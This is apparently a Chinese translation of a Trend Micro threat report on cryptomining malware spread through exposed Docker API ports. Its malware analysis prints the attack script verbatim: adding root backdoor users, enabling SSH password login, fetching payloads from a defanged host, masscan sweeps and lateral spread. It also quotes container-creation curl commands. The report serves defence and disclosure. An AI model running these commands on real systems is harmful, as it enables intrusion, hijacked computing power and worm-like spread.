趨勢科技最近發現有設定不當導致API端口暴露的Docker遭到惡意利用的案例。有惡意活動會掃描開放端口2375/TCP和2376/TCP,這些是Docker引擎服務(dockerd)所使用的端口。攻擊者接著將虛擬貨幣挖礦病毒(趨勢科技偵測為Coinminer.SH.MALXMR.ATNE)散布到這些設定不當的系統。
Docker會在作業系統層級實現虛擬化 – 也稱為容器化(containerization)。Docker API能夠讓遠端使用者像本地端用戶那樣地控制Docker映像。建議不要開放能夠讓外部存取的API端口,因為這會讓駭客有機會利用此不當設定進行惡意活動。
Docker引擎本身並沒有遭到攻擊,Docker企業版本也沒有受到影響。我們是在Docker社群版本看到這些少見的惡意行為。事實上,Docker技術提供讓使用者可以啟用及設定的安全功能來保護容器和工作負載。Docker也提供了防護Docker社群和企業版本的工具、文件和指南。當然,兩者的安全最佳實作都會要求不要開放這些端口。比方說建議運行商業應用程式的企業使用商業用的Docker企業版,能夠提供精確、基於角色的存取控制設定,必須經過身份認證才能使用API。
在我們的研究中,Docker API端口暴露是使用者設定不當的結果,因為我們發現這不當設定是在管理員層級手動設定的。實際上,因為設定不當而讓自身暴露於威脅中並非新鮮事,而這對企業來說也可能是得長期面對的挑戰。事實上,我們透過Shodan搜尋發現有許多人的Docker主機設定不當,特別是在中國。而同時還有美國、法國、德國、新加坡、荷蘭、英國、日本、印度和愛爾蘭也出現設定不當的Docker主機。大多數暴露的系統都是運行Linux作業系統。有意思的是Linux上的服務需要手動設定,而在Windows上直到17.0.5-win8都不是如此,出於安全理由而禁止服務暴露。雖然不當設定廣泛地在各版本都有發生,但根據Shodan的搜尋結果顯示超過一半有此問題的主機運行的是18.06.1-ce版本,這是相對較新的Docker版本。
圖1:在端口2375和2376觀察到的惡意活動或因不當設定遭濫用的時間軸(上)和國家/地區分佈(下)
圖2:攻擊不當設定Docker引擎的感染鏈
封包追蹤和有效負載(payload)分析
趨勢科技發現攻擊者經常會利用暴露的API端口建立Docker容器(如圖2所示),並在入侵的Docker實例上執行以下命令:
- 利用系統套件管理程式安裝wget。
- 利用wget下載自動部署腳本。
- 將腳本從DOS轉換為Unix格式(腳本每行結尾通常是用DOS格式)。
- 設定腳本的執行權限。
- 執行腳本(sh)。
圖3:攻擊者經由暴露Docker API端口建立docker容器的封包追蹤
在觀察到的事件中,auto.sh是包含以下命令的門羅幣挖礦部署腳本:
- 建立使用者“richard”和“frank”並給予root權限
- 重新設定SSH服務(在Docker中預設開啟以存取容器)來允許密碼驗證,並重新啟動SSH服務
- 利用系統套件管理程式安裝以下套件:systemd(Linux系統和服務管理程式),masscan(網路端口掃描程式)和iproute2(Linux網路工具)
- 下載其他腳本和檔案以做到持續性並設成可執行
- 用以下方式取得更多運算能力:終止不要的門羅幣挖掘程序;停用不要的虛擬貨幣採礦程序自動啟動設定;啟動自己的挖礦程式(services);並啟用採礦程序的自動啟動設定。
- 以每秒5萬個封包的速度掃描主機所能看到所有網路的開放端口2375和2376,並將結果存到txt。
- 將工具自動複製到之前偵察掃描找到的主機來進行橫向散播
- 檢查門羅幣挖礦程序的持續性,如果沒有運行則加以啟動。
用以下命令建立使用者“richard”和“frank”並給予root權限
useradd -m -p ‘xxx’ richard
useradd -m -p ‘xxx’ frank
adduser -m -p ‘xxx’ frank
adduser -m -p ‘xxx’ richard
usermod -aG sudoers frank;
usermod -aG root frank;
usermod -aG sudoers richard;
usermod -aG root richard;
sudo adduser frank sudo;
sudo adduser richard sudo;
用以下命令來設定SSH:
sed -i ‘s/PasswordAuthentication no/PasswordAuthentication yes/g’ #mkdir /.tmp/etc/ssh/sshd_config;
/etc/init.d/ssh restart;
/etc/init.d/sshd restart;
/etc/rc.d/sshd restart;
用以下命令安裝其他系統套件:
if [ $(dpkg-query -W -f=’${Status}’ systemd 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install systemd -y;
yum install systemd -y;
fi;
if [ $(dpkg-query -W -f=’${Status}’ masscan 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install masscan -y;
yum install masscan -y;
fi;
if [ $(dpkg-query -W -f=’${Status}’ iproute2 2>/dev/null | grep -c “ok installed”) -eq 0 ];
then
apt-get install iproute2 -y;
yum install iproute2 -y;
fi;
下載其他腳本和檔案以實現持續性:
curl -s hxxp://X.X.X.163/k.php;
wget hxxp://X.X.X.163/data.cfg -O /data.cfg;
wget hxxp://X.X.X.163/xm -O /xm;
wget hxxp://X.X.X.163/xm.service -O /xm.service;
wget hxxp://X.X.X.163/test.sh -O test.sh;
wget hxxp://X.X.X.163/test3.sh -O test3.sh;
sleep 2s;
將腳本和檔案設成可執行:
chmod 777 /xm;
chmod 777 test.sh;
chmod 777 test3.sh;
sleep 2s;
用以下方式取得更多運算能力:終止不要的門羅幣挖礦程序;停用不要的挖礦程序自動啟動設定;執行自己的挖礦程式(xm.services);並啟用挖礦程序的自動啟動設定:
killall xmrig;
killall proc;
killall minergate-cli;
killall xmr-stak;
以每秒5萬個封包的速度掃描主機所能看到所有網路的開放端口2375和2376,並將結果存到local.txt:
masscan “$@” -p2375,2376 –rate=50000 -oG local.txt;
感染先前偵察到的主機來進行橫向移動:
sudo sed -i ‘s/^Host: \([0-9.]*\).*Ports: \([0-9]*\).*$/\1:\2/g’ local.txt;
sudo sh test3.sh local.txt;
檢查門羅幣挖礦程序的持續性,如果沒有運行則加以執行:
ps cax | grep xm > /dev/null
if [ $? -eq 0 ]; then
echo “Process is running.”
else
echo “Process is not running.”
cp /data.cfg data.cfg
cp /xm xm
./xm -c data.cfg
/xm -c data.cfg
cd /
/xm -c data.cfg
echo “BAM!.”
fi;
早期的Docker API濫用案例
Docker API遭到濫用並不新鮮,我們在2017年初就觀察到類似的活動。在2017年4月的案例中,攻擊者發現一個設定錯誤的Docker API安裝,端口4243被開放給外部存取(該端口用於連接dockerd REST API)。在成功建立Docker容器後,攻擊者在受感染系統上部署一份SSH金鑰並安裝分散式阻斷服務(DDoS)bot及其他工具和腳本來確保部署的bot在啟動時自動重啟。
由於Docker實例上沒有設定身份驗證,因此攻擊者可以經由類似命令來直接建立Docker容器(如下所示)。跟我們最近看到的事件類似,利用“create”命令來建立新容器並使用Ubuntu映像,然後部署惡意軟體。
下面是我們在2017年看到的命令:
curl -H “Content-Type: application/json” -d ‘{“Image”: “ubuntu”, “Cmd”: [“/bin/bash”]}’ -X POST hxxp://X.X.X.X:4243/v1.19/containers/create
此外,可以讓攻擊者透過attach方式連回Docker取得shell存取權限:
POST /v1.19/containers/<container_id>/attach?stderr=1&stdin=1&stdout=1&stream=1″
有許多方法可以防止這種情況發生。而最好的方式是不要對外開放Docker REST API端口。甚至連Docker的系統記錄都如此建議:
level=warning msg=”/!\\ DON’T BIND ON ANY IP ADDRESS WITHOUT setting -tlsverify IF YOU DON’T KNOW WHAT YOU’RE DOING /!\\”
如果必須從外部連上Docker RESTful API,請確保已啟用並設定TLS身份認證。
最佳實作和趨勢科技解決方案
容器讓組織能夠有效地部署應用程式到雲端 – 對採用DevOps而專注於快速開發和交付的人來說尤其如此。而不安全、設定不當或有漏洞的的應用程式及軟體代表著必須浪費資源在多餘的工作上。不僅會對應用程式所儲存管理的資料隱私帶來負面影響,還會為害到託管運行工作負載的底層基礎架構完整性。儘早將自動化安全防護納入開發週期不僅可以減少作業中斷,還有助於IT和DevOps團隊更快彌平安全間隙。
以下是一些關於Docker安全防護的最佳實作:
- 強化安全態勢。網路安全中心(CIS)提供有助於系統管理員和安全團隊建立保護Docker引擎基準的參考資料。
- 確保容器映像經過身份認證、簽章及來自受信任的倉庫(即Docker Trusted Registry)。使用自動映像掃描工具有助於改善開發週期。
- 實施最低權限原則。如限制對服務的存取並加密它用來連接網路的通訊協定。Docker提供如何保護服務端口的指南。
- 正確設定容器允許使用的資源(控制群組和命名空間)。
- 啟用Docker的內建安全功能來抵禦威脅。Docker有好幾份關於如何安全設定Docker應用程式的指南。
趨勢科技的Hybrid Cloud Security解決方案可以為企業的DevOps pipeline提供強大、簡化及自動化的安全防護,具備多種XGen™ 防護威脅防禦技術來保護執行中的實體、虛擬和雲端工作負載。還可以透過趨勢科技趨勢科技Deep Security和Deep Security Smart Check加強對容器的保護,包括部署前和執行中。
這些解決方案讓企業能夠專注於安全性和合規性的同時仍可以應對敏捷和多變的DevOps世界。所提供的多樣安全功能還可以減少所需的安全工具數量,透過單一主控台提供對Amazon Web Services、Docker、Microsoft Azure和VMware等常用環境全面的能見度。趨勢科技的趨勢科技Deep Security解決方案降低防護跨多個環境工作負載的成本和復雜性,提供包括自動部署、廣泛的API整合及保護伺服器對抗最新進階威脅的安全功能。
趨勢科技Home Network Security和趨勢科技Smart Home Network客戶可以透過以下規則來防護相關漏洞攻擊:
- 1133254 WEB Remote Command Execution via Shell Script -1.b
入侵指標(IoC):
偵測為Coinminer.SH.MALXMR.ATNE的檔案雜湊值(SHA-256):
- 61698b873322fa711c1c30956260c1438949db90a3c3b634a4664080e66fc64d
- e45a416e8ee1177202bb96732d1b74be98ecc22ba01a96de109e7a54e71cf4e0
偵測為Coinminer.SH.MALXMR.ATNG的檔案雜湊值(SHA-256):
- 684a62e76283d62ddd39bdd16f3bbdcf361002ed5a1f2b6c50ecf33bfd333783
偵測為Coinminer.SH.MALXMR.ATNH 的檔案雜湊值(SHA-256):
- 9da6ea45baae25f5f1e2da3d32eac7a6fd534140e83bdef3bd46dd78a18e29b5
被部署的DDoS工具雜湊值(SHA-256):
- de52ca825e88bf0ead4dded5730e528387593ff0db392b3fd38c2211707d9469 — Linux.SETAG.RPA
@原文出處:Misconfigured Container Abused to Deliver Cryptocurrency-mining Malware 作者:Hubert Lin,Fyodor Yarochkin和Alfredo Oliveira